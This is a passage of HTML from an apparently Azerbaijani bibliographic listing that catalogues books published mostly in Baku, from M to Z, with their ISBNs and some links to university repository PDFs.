style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Minutes of the round table on”the role of civil society and entrepreneurs in combating corruption”.Baku: Azerbaijan young lowyers union, 2005. ISBN 9952408105</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Minutes of the round table on”the state agehcies combating corruption”. Baku: Azerbaijan Young&nbsp;Lawyers Union, 2005. ISBN 99524080916</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Cəbr: IX sinif ( Məsələ və misallar həlli ilə). Bakı: Ocaq, 2005. ISBN: 9952415052</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Ümumtəhsil məktəblərinin X-XI sinifləri üçün cəbr və analizin başlanğıcı kursu üzrə&nbsp;tədris materiallarının planlaşdırılması və yoxlama yazı işləri nümunələri. Bakı: Ocaq, 2005.&nbsp;ISBN: 9952415028</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Ümumtəhsil məktəblərinin IX sinifləri üçün cəbr kursu üzrə tədris materiallarının&nbsp;planlaşdırılması və yoxlama yazı işləri nümunələri. Bakı: Ocaq, 2005. ISBN: 995241501X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəyev, S. Ümumtəhsil məktəblərinin VII-XI siniflərində həndəsə kursu üzrə tədris materiallarının&nbsp;planlaşdırılması və yoxlama yazı işləri nümunələri. Bakı: Ocaq, 2005.&nbsp;ISBN: 9952415036</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mirzəzadə, A. Demokratiya plyus. Bakı: Azərbaycan, 2004. ISBN: 9952330049</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Moem, S. Ay və qara qəpik. Bakı: Qanun, 2012. ISBN: 9789952262476</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Muradov, Ə. ÜTT-yə üzv olma -Azərbaycan və ÜTT. ISBN: 995250363</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musabəyov, R. Cəmiyyət və dövlət. Bakı: Ayna Mətbuat Evi, 2004. ISBN: 9952230141</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musayev, İ. Okean: bəşərin bəşiyi. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230117</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Mustafayev, B.M. Qaçaqmalçılıq Cinayətləri üzrə ib. ar. ISBN: 9952250405</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Musiqi səmimiyyət məbədi. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230052</p><hr noshade=\"noshade\"><strong>N</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Najafov, I. Death of a Publisher. Bakı: Nağıl Evi, 2003. ISBN: 9952210108</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəbioğlu, A. Vüqar Əhmədin söz dünyası. Bakı: EI Alliance, 2003. ISBN: 9952290225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəcəfzadə, A. Azərbaycan çalğı alətlərinin izahlı lüğəti. Bakı: EI Alliance, 2004. ISBN: 9952290144</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəsibov, C. İdman güc və gözəllik. Bakı: Ayna Mətbuat Evi, 2000. ISBN: 9952230001</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəsibov, C. İdman: güc və gözəllik. Bakı: Ayna Mətbuat Evi, 2000. ISBN: 9952230001</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nəşriyyat işi. Bakı: Yeni Nəsil, 2001. ISBN: 9952240023</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nizami, G. Günəş diyarı. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230087</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Novruzova, S. Cinayət prosesində şəxsiyyətin hüquqlarının təminatı ədalət mühakiməsinin məqsədi kimi. Bakı: NAT MMC, 2012. ISBN: 9789952807493</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Nuriyev, Ə. Hüquq : azadlığımızın ölçüsü. Bakı: Ayna Mətbuat Evi, 2005. ISBN: 9952230176</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1537/1/Dictionary_PM.pdf\"><strong>Nuriyev, M. English – Azerbaijani Azerbaijani – English Concise Dictionary of Project Management Terms.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2012. ISBN: 9789952200706</p><hr noshade=\"noshade\"><strong>O</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Orta məktəblərdə yeni təlim metodları. Bakı: Mürşüdlü, ISBN: 9952800401</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Otuz üç pillə yuxarı. Baki : Tutu, 2004. ISBN: 9952410063</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Oyun vasitəsi və öyrətmə. Bakı: Məmmədli şirkəti, 2000. ISBN: 9952400055</p><hr noshade=\"noshade\"><strong>Ö</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ölüm cəzası və yaşamaq hüququ. Bakı: Nağıl Evi, 2004. ISBN: 9952210167</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ömərli, V. Qazrayazı. Bakı: Çaşıoğlu, 2001. ISBN: 9952800509</p><hr noshade=\"noshade\"><strong>P</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Pənahqızı, S. Təbiətin möcüzəsi. Bakı: EI Alliance, 2002. ISBN: 9952290047</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Pənahqızı, S. Təbiətin möcüzəsi-ilahi qüvvəsi. Bakı: EI Alliance, 2002. ISBN: 9952290071</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Polad, Ə. Üç min ilin hikməti. Bakı: Yurd NRB, 2004. ISBN: 9952407002</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Prigogine, İ. Müəyyənliyin sonu. Bakı: Bilik, 2003. ISBN: 9952803303</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Prokurorluğa qəbulla bağlı testlər. Bakı: Qanun, 2012. ISBN: 9789952263107</p><hr noshade=\"noshade\"><strong>R</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rafiq Sarıvəlli. Bakı: Nurlan, 2005. ISBN: 9952800630</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rafiq, B. Min bir mahnı. Bakı: EI Alliance, 2001. ISBN: 9952290179</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Reproduktiv sağlamlıq və perinatologiya (№ 1, 2005). Bakı: EI Alliance, 2005.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952290608</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəcəbli, X. Dilbaz atı. Bakı: Elephant poligraphy,&nbsp; 2005. ISBN: 9952806507</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsulov, F. İqtisadiyyatın əsasları. Bakı, 2004. ISBN: 9952805101</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Remark, E. Qərb cəphəsində yenilik yoxdur. Bakı: Qanun, 2012. ISBN: 9789952262940</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Reyniz, C. Məşğulluq mənfəət və pulun ümumi nəzəriyyəsi. ISBN: 9952260008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rose-Ackerman, S. Hakimiyyət və korrupsiya: səbəblər, nəticələr və islahatlar. Bakı, 2004. ISBN: 9952400098</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rustaveli, Ş. Pələngdərili cəngavər. Bakı: Nağıl Evi, 2003. ISBN: 9952210132</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, S. Difai fədailəri. Bakı: Qanun, 2012. ISBN: 9789952262605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmov, Y. Əbu Həfs Ömər Suhrəvərdinin təsəvvüf fəlsəfəsi. Bakı, 2005. ISBN: 9952426008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rzayev, X. Atalar sözü. Bakı: Nurlar, 2004. ISBN: 9952403135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rzazade, E. Manual on Introduction to Computer Science. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200056</p><hr noshade=\"noshade\"><strong>S</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Sağlamlıq imkanları məhdud olan insanlar haqqında sənədlər toplusu. ISBN: 9952408145</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sağlamlıq imkanları məhdud olan insanların daxil olduğu hüquq münasibətlərini tənzimləyən&nbsp;qanunvericilik toplusu. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408148</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1155/1/Eflatun%20saracli%20.pdf\"><strong>Saraclı, Ə. Ömür keçdi yuxu kimi.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200153</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sehrli nağıllar. Bakı: Tutu, 2004. ISBN: 9952410020</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Seyidzadə, D. Azərbaycan XX əsrin əvvəllərində: müstəqilliyə aparan yollar. Oka Ofset Azərbaycan-</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Türkiyə Nəşriyyat Poliqrafiya şirkəti, 2004. ISBN: 9952411042</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Səfərəliyeva, R. İşgüzar etika. Bakı: Yeni Nəsil, 2004. ISBN: 9952240317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Silvester, P. Qavaldaşın altında. Bakı: Müəllim, 2003. ISBN: 9952410039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sosial müdafiə və təminat xərcləri. ISBN: 9952805721</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1157/1/The%20titul%20son.pdf\"><strong>Stein, M. Jurnalistikaya giriş.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200110</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Stiqlitz, C. Qloballaşma və onun doğurduğu narazılıqlar. Bakı: IIN IIM Mətbəəsi, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952804601</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1319/1/movlud%20Suleymanli5555%20%282%29.pdf\"><strong>Süleymanlı, M. Gecə qapı kimi aç...</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200669</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanov, T. Kosmos: insan kainata can atır. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230109</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanov, M. Şagirdlik illərim. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200048</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanov, M. Xatirələr duyğular. ISBN: 9952200048</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Süleymanova, N. Quranda Peyğəmbərlər. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200062</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şahoğlu, H. Hazardan esintiler. Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200478</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şərq-qərb: Sivilizasiyaların dialoqu: elmi-nəzəri və ictimai-siyasi jurnal.№1. Bakı: AMEA Fəlsəfə, 2005. ISBN: 9952428015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1121/1/Afaq%20Shixli-3%20%28Son%29zak%20en%20son.pdf\"><strong>Şıxlı, A. Məndən uzaqda...</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2002. ISBN: 9952200145</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şükürov, K. Türkmənçay 1828: tarixi xronika. Bakı: Çaşıoğlu, 2006. ISBN: 9952809084</p><hr noshade=\"noshade\"><strong>T</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1383\"><strong>Tadahiro Abe. Foreign Policy of Japan</strong></a>. Bakı: Xəzər Universitəsi, 2001. ISBN: 9952200409 Tərcüməşünaslıq və onun&nbsp; müasir dövrdə rolu : respublika tələbə elmi-praktik konfranslarının materialları. Bakı:&nbsp; Qafqaz Universiteti, 2011. ISBN: 9789952468021</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tərtərli, F. Qəm yükü. Bakı: EI Alliance, 2003. ISBN: 9952290160</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the round table on”legal responcibility of oficials on coruption related&nbsp;delinquencies”. Baku: Azerbaijan Young Lawyers Union, 2005. ISBN 9952408172</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the round table” the role of the tax agencies in fighting against corruption”. Baku:</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Azerbaijan Young Lawyers Union, 2005. ISBN 9952408156</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the round table”on monitiring of corruption”. Baku: Azerbaijan Young Lawyers Union, 2005. ISBN 9952408164</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The minutes of the roundtable”the role of youth and young lowyers in fighting against corruption”.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Baku: Azerbaijan Young Lawyers Union, 2005. ISBN 9952408113</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tohidi, S. Kominternin şərq siyasəti və İran 1919-1943. ISBN: 9952200102</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş, O.&nbsp; Məsnəvi dəryasından abi-həyat qətrələri. Bakı: Ipək Yolu, 2007. ISBN: 9952810202</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş, O. Görkəmli və nümunəvi şəxsiyyət Həzrət Məhəmməd Mustafa. İstanbul: IBS Graphics, 2006. 9952808305</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tusi, N. Təhriri-Öqlidis. Bakı: Ulduz, 2001. ISBN: 995280034</p><hr noshade=\"noshade\"><strong>U</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Umberto Eco və postmodermizim fəlsəfəsi. Bakı: Qanun, 2012. ISBN: 9952262599</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Umudlu, İ. Kitab nəşri bu gün. Bakı, 2004. ISBN: 995280380X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uşaq mahnıları: üç cilddə. Bakı: “Min bir mahnı” MMC (MBM MMC), 2005. ISBN: 9952290160</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Üfüq-ədəbi almanax 1. Bakı: EI Alliance, 2002. ISBN: 995229008Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ümumi biologiya: ümümtəhsil məktəblərinin 10-11-ci sinifləri üçün dərslik. Bakı, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952801408</p><hr noshade=\"noshade\"><strong>V</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vanqanın şəfa reseptləri. Bakı: MMC (MBM MMC), 2002. ISBN: 9952290012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyev, D. Yüksəliş yolları. Bakı: Çaşıoğlu, 2011. ISBN: 9789952814309</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Zaman xəbərsiz ötdü. Bakı: Qanun, 2012. ISBN: 9789952262605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vətəndaşın büdcə bələdçisi: 2005-ci maliyyə ili. Bakı: “Ekspert” jurnalı, 2005. ISBN: 9952803176</p><hr noshade=\"noshade\"><strong>Y</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yan, V. Makidonyalı İsgəndər. Bakı: Qələm MMC, 2010. ISBN: 9789952468014</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yeni dovrə yeni liderlə. Bakı: El-Alliance, 2005. ISBN: 9952290454</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yetkinlik yaşına çatmayanlar üçün cinayət mühakiməsi. Bakı: Yeni Nesil, 2002. ISBN: 9952408008</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yolçiyev, M. Riyaziyyat. Bakı: MBM MMC, 2002. ISBN: 9952290039</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yunusov, A. Azərbaycanda islam. Bakı: Zaman, 2004. ISBN: 9952805225</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yunusov, A. Islam in Azerbaijan. Bakı: Zaman, 2004. ISBN: 9952805217</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yurda qayğı. Bakı: Borçalı ictimai birliyi, 2012. ISBN: 97899528074 62</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusif, S. Seçilmiş əsərləri: 2 cilddə. C. 1. Bakı: Planet Press, 2006. ISBN: 9952809176</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusif, S. Seçilmiş əsərləri: 2 cilddə. C. 2. Bakı: Planet Press, 2006. ISBN: 9952809183</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifov, E. F. Ətraf mühit, iqtisadiyyat, həyat. Bakı: El-Alliance, 2005. ISBN: 9952290519</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yusifov, E. Hirkan Biosfer Rezervatı. Bakı: El-Alliance, 2004. ISBN: 9952290578</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yuvenal ədliyyə: yetkinlik yaşına çatmayanlar tərəfindən törədilən cinayət işləri üzrə ədalət mühakiməsi icraatı. Bakı, 2003. ISBN: 9952808100</p><hr noshade=\"noshade\"><strong>Z</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Zeynalov, F. 